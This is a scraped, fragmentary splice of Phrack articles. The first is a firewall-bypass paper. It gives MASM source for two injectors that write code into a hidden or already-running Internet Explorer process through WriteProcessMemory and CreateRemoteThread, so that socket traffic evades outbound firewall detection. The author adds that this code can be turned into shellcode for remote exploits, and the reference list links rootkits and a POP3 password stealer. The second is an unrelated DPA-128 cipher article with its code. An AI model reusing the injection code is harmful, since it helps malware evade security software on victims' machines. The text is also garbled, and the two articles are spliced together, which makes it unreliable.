http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5685/
- [MSDN_HOOKS]
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/
WindowsUserInterface/Windowing/Hooks.asp
- [3WAYS] Three ways to inject your code into another process
http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767/
- [LSD] Win32 assembly components
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
- [THCONTEXT] GetThreadContext remote code triggering proof of concept
http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxIn
ject/
- [REMOTETH]
http://win32.mvps.org/processes/remthread.html
- [PE]
http://www.syshell.org/?r=Rootkit/PE/Doc/MattPietrek
- [IVANOV]
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5667/
- [UNLEASHED]
http://www.codeproject.com/system/api_monitoring_unleashed.asp
- [DETOURS] Detours win32 functions interception
http://research.microsoft.com/sn/detours/
[HKDEF_RTK] Hacker Defender rootkit
http://rootkit.host.sk/
- [HKDEF] Hacker Defender (Holy_Father 2002)
http://rootkit.host.sk/knowhow/hookingen.txt
- [ZOMBIE2] Entry point rewriting
http://www.syshell.org/?r=Rootkit/Api_Hijack/Code/EntryPointRewritting/
- [EXPLORIAT]
http://www.syshell.org/?r=Rootkit/Snippets/ExplorerIAT2k.log
- [MSDN] Microsoft Developers Network
http://msdn.microsoft.com/library/
- [NtQuerySystemInformation]
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/sysinfo/base/ntquerysysteminformation.asp
- [GETTCP] GetTcpTable
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/iphlp/iphlp/gettcptable.asp
- [NETSTATP] Netstat like
http://www.sysinternals.com/files/netstatp.zip
- [kSENTINEL] POP3 passwords grabber
http://www.syshell.org/?r=Rootkit/Releases/POP3_Stealer/kSentinel/kSentine
l.c
- [FPORT] Network Tool
http://foundstone.com/resources/freetools/fport.zip
- [TCPVIEW] Network Tool
http://www.sysinternals.com/ntw2k/source/tcpview.shtml
- [LISTDLLS] DLL listing tool
http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml
- [PROCEXP] Process Explorer
http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
- [VICE] Catch hookers!
http://www.rootkit.com
- [PEB]
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%2
0Objects/Process/PEB.html
- [PEBSHLCDE]
http://madchat.org/coding/w32nt.rev/RW32GS.txt
==Phrack Inc.==
[0x01] introduction
[0x02] how software firewalls work
[0x03] process Infection without external .dll
[0x04] problems of implementation
[0x05] how to implement it
[0x06] limits of this implementation
[0x07] workaround: another infection method
[0x08] conclusion
[0x09] last words
[0x0A] references
For all of you who are already familiar with means of runtime
process infection - I really dislike DLL injection for this
purpose, simply because there is definitely no option that could
be considered less elegant or less stealthy.
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
VirtualAllocEx()
WriteProcessMemory()
they give us the power to inject our own arbitrary code to the
address space of another process - and once it is there, we will
create a thread remotely to execute it.
Consider:
void main() {
printf("Hello World");
return 0;
}
This is just a simple example and does not even involve all the
problems that can occur. However, also the addresses of all
function calls are hardcoded, like the address of the printf
function in our sample. In another process space, these
functions might be somewhere else or they could even be missing
completely - and this leads to the most weird errors that you
can imagine. The only way to make sure that all the addresses
are correct and that every single CPU instruction fits, we have
to write the injected code in ASM.
Ok, this will be rather easy, I assume you know how to query
the registry. The next thing to do is calling CreateProcess().
The wShowWindow value of the STARTUP_INFO structure passed to
the function should be something like SW_HIDE in order to keep
the browser window hidden.
48 65 61 70 41 6C 6C 6F HeapAllo
63 00 4E 54 44 4C 4C 2E c.NTDLL.
52 74 6C 41 6C 6C 6F 63 RtlAlloc
61 74 65 48 65 61 70 00 ateHeap.
= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"
This is, of course, a bit confusing as there are now more null-
terminated strings in the first list than offsets in the second
list - every forwarder seems like a function name itself.
However, bearing this in mind, we can easiely take care of the
forwarders in our code.
The sample code presented in this little paper will give you a
tiny executable that runs in RING3. I am certain that most
software firewalls contain kernel mode drivers with the ability
to perform more powerful tasks than this injector executable.
Therefore, the capabilities of the bypass code are obviously
limited. I have tested the bypass against several software
firewalls and got the following results:
Tiny alerts the user that the injector executable spawns the
browser process, trying to access the network this way. It looks
like Tiny simply acts exactly like all the other software
firewalls do, but it is just more careful. Tiny also hooks API
calls like CreateProcess() and CreateRemoteThread() - thus, it
can protect its users from this kind of bypass.
I should say that [0x0C] is a bit more fragile and less reliable
than the first bypass shown in [0x0B]. However, this second one
will definitely work against all tested firewalls and most
probably also against others. Nevertheless, you should bear in
mind that it assumes Internet Explorer to be a trusted process
without looking up anything in the registry or elsewhere.
Apart from the danger for privately used computers, which have
hereby been proven to be insufficiently protected against trojan
horses and worms, exploitation of a remote Windows Workstation
using a software firewall can most definitely involve the use of
methods described in this paper. The ASM code for the two bypass
samples can be transformed into shellcode for any remote Windows
exploit. Once a service a Windows network is found to be
vulnerable to a remote exploit, it would be also possible to
overcome the outbound detection of the respective software
firewall this way.
.aware
http://msdn.microsoft.com/
http://keir.net/firehole.html
http://razor.bindview.com/tools/desc/lsadump2_readme.html
(4) Many respect to the LSD research group for their nice
and easy-to-read paper "Win32 Assembly Components":
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
http://lsd-pl.net/projects.html
http://www.negatory.com/asmstudio/
Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).
.386
.MODEL flat, stdcall
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
INCLUDE user32.inc
bypass PROTO NEAR STDCALL, browser:DWORD ; injector function
inject PROTO NEAR STDCALL, iBase:DWORD ; injected function
.DATA
REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0
REG_BROWSER_KEY DD ?
.CODE
INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \
ADDR sinf,ADDR pinf
EJUMP ERR_CLEAN
MOV pbRemoteMemory,EAX
MOV EDX,FUNCSZE
INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \
inject, EDX, 0
EJUMP ERR_CLEAN_VF
INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
pbRemoteMemory, 0, ADDR dwRemoteThreadID
EJUMP ERR_CLEAN_TH
MOV thRemoteThreadHandle,EAX
MOV dwReturn,0
; Wait until the remote thread terminates and see what the
; return value looks like. The inject procedure will return
; a boolean value in EAX, indicating whether or not it was
; successful.
INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
CMP dwReturn, 0
JNE ERR_CLEAN_TH
ERR_CLEAN_TH:
INVOKE CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
INVOKE TerminateProcess, EBX, 0
INVOKE CloseHandle,pinf.hThread
INVOKE CloseHandle,pinf.hProcess
ERR_SUCC:
RET
bypass ENDP
JMP IG
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0
sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0
sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0
sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0
PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX
PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte
POP ECX
POP EDX
INJECT_SUCCESS:
MOV EAX, 1 ; return values are passed in EAX
JMP INJECT_CLEANUP
INJECT_ERROR:
MOV EAX, 0 ; boolean return value (success)
INJECT_CLEANUP:
PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll
INJECT_DONE:
POP EAX ; retore the return value
RET ; and return
inject ENDP
This is the ASM source code for the second bypass program.
.386
.MODEL flat, stdcall
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
.DATA
; This is the name of a trusted process to search for.
; If you know what you are doing, you can play with
; if and see whether other applications work with the
; current code (aka hijack primary thread).
; "OUTLOOK.EXE" works as well btw.
TRUSTED DB "IEXPLORE.EXE",0
JUMPDIFF EQU 14
.CODE
INVOKE bypass
INVOKE ExitProcess, 0
LOCAL p32:PROCESSENTRY32
LOCAL t32:THREADENTRY32
LOCAL hShot:DWORD
INVOKE CreateToolhelp32Snapshot,06H,0
MOV hShot,EAX
CMP EAX, 0
JE GSE1
PUSH 1 ; success
JMP GSE0
getsvc ENDP
istart:
JMP IG
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0
sOpenEvent DB "OpenEventA" ,0
sCloseHandle DB "CloseHandle" ,0
sSetEvent DB "SetEvent" ,0
sFWPEVENT DB "TINY0" ,0
sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0
sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0
sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0
LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose
PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX
PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte
POP ECX
POP EDX
INJECT_SUCCESS:
PUSH 1 ; return success
JMP INJECT_CLEANUP
INJECT_ERROR:
PUSH 0 ; return failure
INJECT_CLEANUP:
CMP pOpenEvent, 0
JE INJECT_DONE
PUSH EBX
CALL pSetEvent ; signal the event
PUSH EBX
CALL pCloseHandle ; close the handle
INJECT_DONE:
POP EAX
RET ; and return
inject ENDP
iend:
bypass PROC
MOV pinf.hProcess, 0
MOV pinf.hThread, 0
INVOKE VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
MEM_COMMIT,PAGE_EXECUTE_READWRITE
EJUMP BPE2
MOV pbRemoteMemory,EAX
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
OFFSET SHELLCODE,CODESZE,0
EJUMP BPE1
ADD EBX, CODESZE
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
FUNCADDR,FUNCSZE,0
EJUMP BPE1
bypass ENDP
END Main
These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.
############################# injector.py #############################
1 - Introduction
1.1 - First of all, a reminder. What is polyalphabetic substitution ?
1.2 - Weaknesses in polyalphabetic substitution
2 - IMPLEMENTATION OF DPA-128
2.1 - DPA-128 used as a one way hash function
2.2 - DPA-128 used as PRNG
3 - Acknowledgment
4 - References
5 - Source Code
--[ 1 - Introduction
Finally, just to clarify a few things. I use the acronym DPA (for "dynamic
polyalphabetic algorithms") in this document to refer to key dependancy in
polyalphabetic substitution. I've seen people using the term "dynamic" for
ciphers that used polyalphabetic substitution in a mode that uses a pseudo
random vector (CBC for example). While I'll keep using the acronym, assume
that key-dependant substitution works in total abstraction of the mode and
DPA-128 has an implementation of both ECB and CBC modes as I'm writing.
Also, while I have not seen a dynamic polyalphabetic cipher implementation
it does not mean that all of the ideas in this paper are new. DES had some
variants that performed key-dependant substitutions by exchanging lines of
s-tables, and several ciphers use one-way hash functions for subkeys.
Note that both these methods do not even require a key, the parties that
wish to share the secret, have to share the "protocol" which is the
number of columns for the transposition, or the rearranged alphabet for
the substitution. In practice, there are methods to use keys with both
substitution and transposition but in the end, both are insecure with or
without a key. I won't go through the description of how you can break
these, the methods were described in phrack #51 if I recall correctly
and they are so simple that some tv magazines use these on their game
pages.
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
The ciphertext is the intersection of each character of the secret key with
each character of the secret message. Key characters are seeked on the very
first line, and message characters are seeked on the very first column.
Since the key is shorter than the message, it is padded with itself so that
it becomes:
BLEHBLEHBLE
If it was longer, then either the message would be padded with random crap
or the key would be truncated (this is more common).
As you may notice, even though a character may appear two or more times in
the plaintext, it is not encrypted the same way in the ciphertext depending
on which character from the key is used for the substitution. This is what
"polyalphabetic" means in "polyalphabetic substitution". It was known for a
while as the "unbreakable cipher" and a variant was used successfuly during
Second World War by the Resistance against the Germans.
b) using the ASCII layout, there are 256^2 combinations which will
produce 256 possible results (including the original character).
c) if we assume that the key is truly random AND has the same size
as the message to encrypt, then all results are equiprobable.
One way to add confusion is to ensure that the ciphertext is not dependant
of the key on a character basis. Changing one bit of the key should change
the whole ciphertext. This can be achieved by the use of a one-way hash
function for key generation. Some one-way hash functions have properties
that make them suitable for use, these are:
h = f(M)
- no matter the length of M, h has a fixed size
- assuming M, it should be easy to compute h
- assuming h, it should be difficult to compute M
- a one-bit change in M alters half the bits in h (in average).
- it should be hard to find a M' to a fixed M such as f(M) = f(M')
- it should be hard to find any M and M' such as f(M) = f(M')
The use of such a function will make key correlation hardly practicable as
choosing two keys that have a relation will result in subkeys that have no
relation at all, even if the relation is a single bit difference. I am not
even mentionning attacks based on partial knowledge of the key ;)
Also, this will prevent users from choosing weak keys, purposedly or not,
as it will be difficult to find a key that will produce a weak key
(assuming that there are weak keys ;) once passed throught the one-way hash
function. By weak key, I do not mean keys like "aaaa" or "foobar", but keys
that will produce a subkey that introduces a weakness in the encryption
process (such as DES's four weak keys).
The function not being reversible, partial knowledge of plaintext and
access to ciphertext does not reveal the key but the subkey from which you
cannot obtain information about the key. If the algorithm iterates for
several rounds, it is possible to generate subkeys by calling f on previous
subkey:
round1: f(k)
round2: f(f(k))
round3: f(f(f(k)))
and so on...
Note that the key-relation for the shifting has no more security than
a simple byte shifting - at least on Vigenere table - but only adds
more confusion. It was initially introduced as a security measure for
substitution tables that had not equiprobable results.
It prevents elimination of some substitution combinations by analyzing
which bits are set in an encrypted byte when you know its plaintext
equivalent. From the ciphertext, it is not possible to determine wether
a block was shifted (the hash value of the key could have been 0 or some
product of 128, who knows ;) and if it was shifted, it is not possible to
know where the bits come from (which byte they were on originally and
what was their position) which makes it difficult to determine if the
bit of sign on a particular byte is really a bit of sign or not and if it
was part of that byte or not. Also, the shifting is dependant from the
subkey used for a round so it will be different at each round and help
diffusion through the byte chaining phase.
instead of:
0 1 2 3 4 5 6 7 8 9 ...
1 2 3 4 5 6 7 8 9 ...
2 3 4 5 6 7 8
3 4 5 6 7 8
4 5 6 7 8
5 ....
...
k being the character from the key, d being the character from the
message and s being the shifting.
encryption can be represented using this equation:
(k + d + s) mod 256
The amusing part is that when you play with statistics, you get a very
different view if you are in the position of the attacker or of the
nice guy trying to keep his secret. Assuming there are 'n' rounds, then
you have (256^2) * m substitutions useable where 1 <= m <= n and n <= 256.
This is because some subkeys might produce identical substitution tables.
In another hand, and im not doing the maths for this ;), the attacker has
not only to figure out which substitutions were done, but also the tables
in which they were done... in the exact same order... out of data that
does not inform him on the subkeys used to generate the tables he is
trying to determine the structure of ;)
As I said, DPA-128 is a secret-key block cipher. Its block and key size
are 128-bits. This is not a limitation imposed by the algorithm which
is easily adaptable to different key and block sizes. It consists of
16 rounds, each performing:
- a byte chaining;
- a subkey-related shifting;
- a subkey-related polyalphabetic substitution;
All of the rounds have their own subkey.
The implementation uses all of the ideas explained in this paper and
before I provide the code, here are a few tests performed on it.
I used three tools, the first one 'bitdiff' is a little utility that goes
through two files and compares them bit per bit. It then outputs the
number of bits that have changed and the repartition of zero's and one's.
A sample output looks like this:
% ./segments file1
0's segments:
1 => 19
2 => 6
3 => 4
4 => 0
1's segments:
1 => 13
2 => 7
3 => 3
4 => 3
I checksum-ed /etc/passwd three times, the first one was the real file,
the second one was the file with a one bit change and the third one was
the file with a 6 bytes addition. All bytes where affected, tests with
bitdiff showed that a one bit change produced an average of 60 bits
modified in the 128 bits checksum.
You'll notice a nice repartition of zero's and one's, lets' see what
segments has to say about this:
% ./segments passwd.chk
0's segments:
1 => 13
2 => 10
3 => 3
4 => 2
1's segments:
1 => 15
2 => 4
3 => 5
4 => 0
% ./segments passwd.1.chk
0's segments:
1 => 11
2 => 8
3 => 5
4 => 3
5 => 0
1's segments:
1 => 13
2 => 9
3 => 2
4 => 0
5 => 1
% ./segments passwd.2.chk
0's segments:
1 => 12
2 => 10
3 => 3
4 => 1
5 => 0
1's segments:
1 => 16
2 => 3
3 => 4
4 => 3
5 => 1
Well all we can notice is that there are mostly small segments and that
they are well reparted. I'm skipping the entropy test since it will
illustrate the use of DPA-128 as a PRNG ;)
This means that while tests on urandom.seed apply to the result of a PRNG,
the tests on dpa.seed can be reproduced. It shows good entropy on
encrypting a fixed value and the results should be quite the same if used
as a PRNG. The tests that are performed by 'ent' are described on their
website, I'm not going to describe them here because it is out of the
scope of this paper and I would do it far less better than their
page does.
% ./segments urandom.seed
0's segments:
1 => 1019
2 => 418
3 => 212
4 => 88
5 => 35
6 => 18
1's segments:
1 => 1043
2 => 448
3 => 179
4 => 74
5 => 32
6 => 13
% ./segments dpa.seed
0's segments:
1 => 1087
2 => 443
3 => 175
4 => 72
5 => 29
6 => 18
1's segments:
1 => 1039
2 => 453
3 => 195
4 => 67
5 => 34
6 => 15
% ./ent -b urandom.seed
Entropy = 0.999928 bits per bit.
% ./ent -b dpa.seed
Entropy = 1.000000 bits per bit.
The last tests must have given you an idea of the confusion, diffusion and
entropy present in a DPA-128 encrypted ciphertext. More results are
available online on my webpage, I just did not want to put too much in
here since they all look the same ;)
--[ 3 - Acknowledgment
--[ 4 - REFERENCES
. http://www.tristeza.org/projects/dpa/
my page for the dpa project with examples and a lot of testing
. http://www.csua.berkeley.edu/cypherpunks/
cypherpunks
. http://www.fourmilab.ch/random/
entropy tests and their description
. http://www.schneier.com/paper-blowfish-fse.html
a paper on blowfish and what features a cipher should provide
All of the code is provided under the ISC license, do whatever you want
with it, but please please don't use it to encrypt sensitive data unless
you know what you are doing (that means you could not break it and have
confidence in your skills). The code is NOT optimized for speed, it is
a work in progress and many parts can be improved, i'm just a bit in a
hurry and by the time you read this, it will probably be a lot cleaner ;)
If you plan on using dpa-128 even though I'm still warning you not to,
here are a few recommandations:
- use CBC mode. the impact of using CBC mode on performances is too
low to be an excuse for not using it.
To encrypt:
% dpa -a enc -m cbc -k file:secret.key -d file:/etc/passwd -o p.enc
To decrypt:
% dpa -a dec -m cbc -k file:secret.key -d file:p.enc -o p.dec
/*
* Copyright (c) 2004 Chehade Veins <veins at tristeza.org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <fcntl.h>
#include <sysexits.h>
if (argc < 3)
return (EX_USAGE);
fstat(fd1, &sa);
fstat(fd2, &sb);
size1 = sa.st_size;
size2 = sb.st_size;
++total;
}
++s1; ++s2; size1--; size2--;
}
if (diff == 0)
printf("bit strings are identical\n");
else
{
printf("%d bits have changed.\n", diff, total);
printf("ratio for %s:\n", argv[1]);
printf("\t0's: %d\n", s1_0);
printf("\t1's: %d\n", s1_1);
printf("\n");
printf("ratio for %s:\n", argv[2]);
printf("\t0's: %d\n", s2_0);
printf("\t1's: %d\n", s2_1);
}
munmap(s1, sa.st_size);
munmap(s2, sb.st_size);
return (EX_OK);
}
#include <fcntl.h>
#include <sysexits.h>
if (argc < 2)
return (EX_USAGE);
last = -1;
biggest = 0;
size = sb.st_size;
while (size--)
{
for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
{
if ((*map >> i) & 0x1)
{
if (last == 0)
{
if (cnt > biggest)
biggest = cnt;
if (cnt >= 32)
errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
STATS[last][cnt] += 1;
cnt = 0;
}
last = 1;
}
else
{
if (last == 1)
{
if (cnt > biggest)
biggest = cnt;
if (cnt >= 32)
errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
STATS[last][cnt] += 1;
cnt = 0;
}
last = 0;
}
}
++map;
}
munmap(map, sb.st_size);
printf("0's segments:\n");
for (i = 1; i < biggest; i++)
printf("\t%d => %d\n", i, STATS[0][i]);
printf("\n1's segments:\n");
for (i = 1; i < biggest; i++)
printf("\t%d => %d\n", i, STATS[1][i]);
return (EX_OK);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
Again, the source code that follows is a work in progress, and some parts
deserve a cleaner rewrite. data.c is truly ugly ;)
It was tested on Linux & BSD/i386, SunOS/sparc and OSF1/alpha, if it does
not run on your unix box, porting it should be trivial.
OBJS = $(SRCS:.c=.o)
CFLAGS =
LDFLAGS =
$(NAME) : $(OBJS)
cc -o $(NAME) $(OBJS) $(LDFLAGS)
clean :
rm -f *.o *~
fclean : clean
rm -f $(NAME)
re : fclean $(NAME)
#define DPA_KEY_SIZE 16
#define DPA_BLOCK_SIZE 16
#define DPA_ENCRYPT 0
#define DPA_DECRYPT 1
#define DPA_MODE_ECB 0
#define DPA_MODE_CBC 1
struct s_dpa_sub_key {
unsigned char key[DPA_KEY_SIZE];
unsigned char shift;
};
typedef struct s_dpa_sub_key DPA_SUB_KEY;
struct s_dpa_key {
struct s_dpa_sub_key subkey[16];
};
typedef struct s_dpa_key DPA_KEY;
struct s_dpa_data {
unsigned char *data;
unsigned long length;
};
typedef struct s_dpa_data DPA_DATA;
void usage(void);
#endif
#define __NBROUNDS 32
void checksum128(unsigned char *key, unsigned char *skey, unsigned int size)
{
unsigned int cnt;
unsigned int length;
unsigned long a;
unsigned long b;
unsigned long c;
unsigned long d;
unsigned char *save;
/* Initialization of contexts */
a = 0xdeadbeef;
b = 0xadbeefde;
c = 0xbeefdead;
d = 0xefdeadbe;
/* Diffusion */
/*
* The bytes of each contexts are shuffled within the
* same context, the first byte of A becomes the last
* which becomes the first. the second becomes the
* third which becomes the second. This permutation
* is also applied to B, C and D, just before they go
* through another round.
*/
a = (((a & 0x000000ff) << 24) +
((a & 0x0000ff00) << 8) +
((a & 0x00ff0000) >> 8) +
((a & 0xff000000) >> 24));
b = (((b & 0x000000ff) << 24) +
((b & 0x0000ff00) << 8) +
((b & 0x00ff0000) >> 8) +
((b & 0xff000000) >> 24));
c = (((c & 0x000000ff) << 24) +
((c & 0x0000ff00) << 8) +
((c & 0x00ff0000) >> 8) +
((c & 0xff000000) >> 24));
d = (((d & 0x000000ff) << 24) +
((d & 0x0000ff00) << 8) +
((d & 0x00ff0000) >> 8) +
((d & 0xff000000) >> 24));
}
/* Diffusion */
/*
* The Checksum is constructed by taking respectively
* the first byte of A, B, C and D, then the second,
* the third and the fourth.
*/
skey[0] = (a & 0xff000000) >> 24;
skey[1] = (b & 0xff000000) >> 24;
skey[2] = (c & 0xff000000) >> 24;
skey[3] = (d & 0xff000000) >> 24;
skey[4] = (a & 0x00ff0000) >> 16;
skey[5] = (b & 0x00ff0000) >> 16;
skey[6] = (c & 0x00ff0000) >> 16;
skey[7] = (d & 0x00ff0000) >> 16;
skey[8] = (a & 0x0000ff00) >> 8;
skey[9] = (b & 0x0000ff00) >> 8;
skey[10] = (c & 0x0000ff00) >> 8;
skey[11] = (d & 0x0000ff00) >> 8;
skey[12] = (a & 0x000000ff);
skey[13] = (b & 0x000000ff);
skey[14] = (c & 0x000000ff);
skey[15] = (d & 0x000000ff);
}
#include "include/dpa.h"
#include "include/dpa.h"
if (shift)
{
mask = 0;
shift %= 128;
div = shift / 8;
mod = shift % 8;
rel = DPA_BLOCK_SIZE - div;
for (i = 0; i < mod; ++i)
mask |= (1 << i);
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
{
remainder =
((block[(rel + i - 1) % DPA_BLOCK_SIZE]) & mask) << (8 - mod);
sblock[i] = ((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder;
}
}
memcpy(block, sblock, DPA_BLOCK_SIZE);
}
if (shift)
{
mask = 0;
shift %= 128;
div = shift / 8;
mod = shift % 8;
rel = DPA_BLOCK_SIZE + div;
for (i = 0; i < (8 - mod); ++i)
mask |= (1 << i);
mask = ~mask;
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
{
remainder =
(block[(rel + i + 1) % DPA_BLOCK_SIZE] & mask) >> (8 - mod);
sblock[i] =
((block[(rel + i) % DPA_BLOCK_SIZE]) << mod) | remainder;
}
}
memcpy(block, sblock, DPA_BLOCK_SIZE);
}
/*
* The substitution table looks like this:
*
